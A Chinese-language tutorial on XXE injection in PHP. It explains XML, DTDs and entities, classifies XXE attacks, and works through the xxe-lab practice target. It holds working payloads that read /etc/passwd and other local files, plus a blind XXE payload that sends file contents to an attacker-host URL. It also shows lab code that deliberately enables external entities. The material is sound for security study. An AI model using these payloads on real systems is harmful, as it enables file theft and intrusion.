XXE

XXE漏洞概述:

XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
下面我们主要介绍PHP语言下的XXE攻击.

XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。

在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。

1.1 XML基础

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。

菜鸟教程链接

简单来说,如果需要在HTML文档中动态现实数据,则需要使用大量的时间来对HTML进行编辑,通过XML可以将数据存储在独立的XML文件中,这样就可以专注于使用HTML/CSS进行现实和布局,不需要进行大量的修改。

XML数据使用文本的格式进行存储。

1.1.1文档结构

XML文档形成了一种树结构从根部开始,然后扩展到枝叶。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note> <!--根元素-->
<to>Dave</to> <!--子元素-->
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

<note>表示下面的是根元素,使用</note>进行包裹,之间的被成为子元素。

对于XML文档来说,必须包含根元素。这个元素是所有其他元素的父元素。同时,所有元素都可以有子元素。

1.1.2 DTD

菜鸟教程

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

*DTD是一种保证XML文档格式正确的有效方法,可以通过比较XML文档和*DTD文件来看文档是否符合规范,元素和标签使用是否正确。**

简单来说这个就是一个用来判定你写的XML是不是正确的一个判定标准,但是可以自己定义。

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

(1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

示例代码:

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

1.1.3 DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。
  • 实体可在内部或外部进行声明。

其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的

示例代码:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

示例代码:

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

关于实体的使用:

实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:

示例代码:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<!--XML-->

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便

当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

关于通用实体和参数实体:

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)

1.通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

示例代码:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>

2.参数实体:

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

示例代码:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

可以看见的是,这样就是直接对实体进行了引用,相当于是写出了两个实体。其中一个是直接给出的实体的值,另一个是给出了实体名称,然后使用url进行外部引用。

抛转:

参数实体在我们 Blind XXE 中起到了至关重要的作用

总结:

(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY % 实体名称 ”实体的值”>或者<!ENTITY % 实体名称 SYSTEM ”URI”>

三种实体声明方式使用区别:
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。

1.2 XXE原理

XXEXML外部实体注入 。我们先分别理解一下注入和外部实体的含义。

注入:是指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。

外部实体:则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。 所以XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。(有点像是SSRF,引用了不该使用的本地文件或是远程的url)

1.3 XXE分类

下面我们对XXE进行一下分类,按照构造外部实体声明的方法不同可分为:

直接通过DTD外部实体声明

通过DTD文档引入外部DTD文档中的外部实体声明

通过DTD外部实体声明引入外部DTD文档中的外部实体声明

按照XXE回显信息不同可分为:

正常回显XXE:

正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息,可直接完成XXE攻击。

报错XXE:

报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息,可根据错误信息的不同判断是否注入成功。

Blind XXE:

当服务器没有回显,我们可以选择使用Blind XXE。与前两种XXE不同之处在于Blind XXE无回显信息,可组合利用file协议来读取文件或http协议和ftp协议来查看日志。
Blind XXE主要使用了DTD约束中的参数实体和内部实体。
在XML基础有提到过参数实体的定义,这里就不再做详细讲解。
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者主机IP/Quan.xml">
%remote;
%all;
]>

<root>&send;</root>

Quan.xml内容:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

%remote引入外部XML文件到这个 XML 中,%all检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。
利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。

1.3.1 按构造外部实体声明

1.3.1.1 直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>

<hhh>&f;<hhh>

直接引用外部实体,实现对passwd文件的读取。

1.3.1.2 通过DTD文档引入外部DTD文档中的外部实体声明

(注意是通过DTD文档引入外部实体)

XML文件内容:

<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">

<hhh>&f;<hhh>

DTD文件内容:

<!ENTITY f SYSTEM "file:///etc/passwd">

引用外部的dtd文件内容中的实体,然后达成读取文件的作用。

1.3.1.3 通过DTD外部实体声明引入外部DTD文档中的外部实体声明

(重点是通过文档中的外部实体,引入外部实体,和上面的不一样)

<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
]>

<hhh>&f;<hhh>

Quan.dtd的外部实体声明内容:

<!ENTITY f SYSTEM "file:///etc/passwd">

最后的效果,还是把文件内容读取出去。

1.4 XXE能做什么:

上一节疯狂暗示了 外部实体 ,那他究竟能干什么?

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

既然能读 dtd 那我们是不是能将路径换一换,换成敏感文件的路径,然后把敏感文件读出来?

对于PHP语言,可以使用FILE、HTTP、FTP还有PHP伪协议,来进行文件读取。

也就是说,对于XXE中的XML文档来看,可能出现的危害主要是:

1、读取任意文件

通过多种协议来对本地文件进行读取。

image-20220804143420071

2、执行系统命令

比较少出现的情况,在配置不当或是开发内部应用的情况下,可以通过XXE执行代码。(例如PHP expect 模块被加载到了易受攻击的系统或是处理XML的内部应用上。),使得攻击者能够通过XXE执行代码。

关于PHP expect://,这是一个处理交互流的协议,可以用来执行shell命令。

image-20220804143512998

3、探测内网端口

可以根据返回的信息判断端口是否打开,若测试端口返回“Connection refused”则可以知道该端口是closed的,否则为open。

image-20220804150219599

简单来说,就是通过引用外部实体的方式,来尝试连接成功,如果是报的拒绝连接错了,就是无法访问。

1.5 XXE-Lab靶场

https://github.com/c0ny1/xxe-lab

还是这位师傅写的靶场。

我这里直接搭建的是PHP的XXE靶场,搭建没什么好说的。还是直接用phpstudy,把下载的源码里面的php_xxe文件放到根目录下打开就行。

image-20220805135335231

为了理解整个XXE漏洞的基本运行过程,这里我直接对源代码进行审计:

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false); //禁用加载外部实体的功能(XXE就是XML外部实体注入漏洞),这里的布尔值是false,所以是允许加载外部实体功能。
$xmlfile = file_get_contents('php://input'); //这里分成两部分看,php://input这部分是PHP的伪协议,可以读取没有处理过的Post数据,简单来说这一套函数的作用就是把POST过来的数据作为XML文件进行读取,然后存放到变量$xmlfile中。

try{ //启用了try{}catch{}异常处理,讲要执行的代码放在try块中,如果这些代码中有异常,则跳转到catch块中。也就是try调用代码,catch抛出异常。
$dom = new DOMDocument(); //类,主要就是用于处理xml文档的,这里实例化了一个对象。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //调用了成员方法,成员方法作用是解析指定的XML文本串,然后再当前文档对象中构建一个棵DOM节点树,而丢弃之前存在于文档中的任何节点,简单来说把一个XML格式的字符串输入进去,然后覆盖掉原本的节点,这里是把POST过来的数据存入进去。
$creds = simplexml_import_dom($dom); //将DOM节点转换为SimpleXMLElement的节点,如果失败,返回false。其实简单来说就是把子元素的值存入了。这样就可以直接对子元素进行输出。

$username = $creds->username; //如上,这里直接存放了子元素名字叫<username></username>包裹的值
$password = $creds->password; //同上,具体看抓包

if($username == $USERNAME && $password == $PASSWORD){ //对传输过来的username和password与预设的密码和用户名进行判定,相同则进行下一步。
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); //格式化输出内容
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8'); //声明content-type
echo $result;
?>

上面就是源代码的解析,然后看一下抓包的分析:

image-20220805151601688

这里就可以看见传输的数据是通过XML格式进行传输的,同时也可以从Content-type字段看到需求是application/xml;charset=utf-8

这里我们使用XXE,同时在网页根目录下创建一个flag.php文件,来测试文件的读取。

进行改包:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE Ho1L0w-By[
<!ENTITY flag SYSTEM "file:///D:/phpstudy_pro/WWW/flag.php">
]>
<user><username>&flag;</username><password>admin</password></user> <!--注意引用的时候要加上引号-->

image-20220805153030885

可以看见这里成功的读取了我们创建的文件,并且进行了返回。

这就是简单的有回显的XXE漏洞,这里是实现了任意文件读取。